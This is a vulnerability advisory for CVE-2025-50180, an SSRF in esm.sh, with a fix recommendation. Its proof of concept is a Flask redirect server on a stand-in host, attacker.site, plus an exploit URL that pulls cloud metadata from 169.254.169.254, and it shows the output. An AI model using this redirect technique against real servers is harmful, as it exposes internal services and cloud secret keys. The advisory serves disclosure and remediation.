CVE-2025-50180: esm.sh is vulnerable to full-response SSRF

Summary

esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.

Details

Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511

If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.

eg: https://esm.sh/https://local.site/test.md

".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"

A 302 redirect can be used to bypass the suffix restriction.

eg: https://esm.sh/https://attacker.site/test.md

https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json

PoC

Use Flask to start a server that returns a 302 redirect.

python from flask import Flask, redirect

app = Flask(name)

@app.route('/test.md') def redirecttest(): return redirect("http://169.254.169.254/v1.json", code=302)

if name == 'main': app.run(host='0.0.0.0', port=80)

Let esh.sh visit this site.

https://esm.sh/https://attacker.site/test.md

Attacker can obtain data from http://169.254.169.254/v1.json.

var t=<p>&lbrace;&quot;bgp&quot;:&lbrace;&quot;ipv4&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;&rbrace;,&quot;hostname&quot;:&quot;&quot;,&quot;instance-v2-id&quot;:&quot;&quot;,&quot;instanceid&quot;:&quot;&quot;,&quot;interfaces&quot;:[&lbrace;&quot;ipv4&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;&quot;,&quot;gateway&quot;:&quot;&quot;,&quot;netmask&quot;:&quot;&quot;,&quot;routes&quot;:[&lbrace;&quot;netmask&quot;:32,&quot;network&quot;:&quot;&quot;&rbrace;]&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;&quot;,&quot;network&quot;:&quot;&quot;,&quot;prefix&quot;:&quot;64&quot;&rbrace;,&quot;mac&quot;:&quot;&quot;,&quot;network-type&quot;:&quot;public&quot;&rbrace;],&quot;nvidia-driver&quot;:[],&quot;public-keys&quot;:[&quot;&quot;],&quot;region&quot;:&lbrace;&quot;countrycode&quot;:&quot;US&quot;,&quot;regioncode&quot;:&quot;SJC&quot;&rbrace;,&quot;tags&quot;:[]&rbrace;</p> ,o={},u=t;export{u as default,t as html,o as meta};

Decode the data (redacted) .

json {"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"","instance-v2-id":"","instanceid":"","interfaces":[{"ipv4":{"additional":[],"address":"","gateway":"","netmask":"","routes":[{"netmask":32,"network":""}]},"ipv6":{"additional":[],"address":"","network":"","prefix":"64"},"mac":"","network-type":"public"}],"nvidia-driver":[],"public-keys":[""],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}

Impact

An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.

Fix

It is recommended to use safeurl.Client as a replacement for http.Client.

https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13

https://github.com/doyensec/safeurl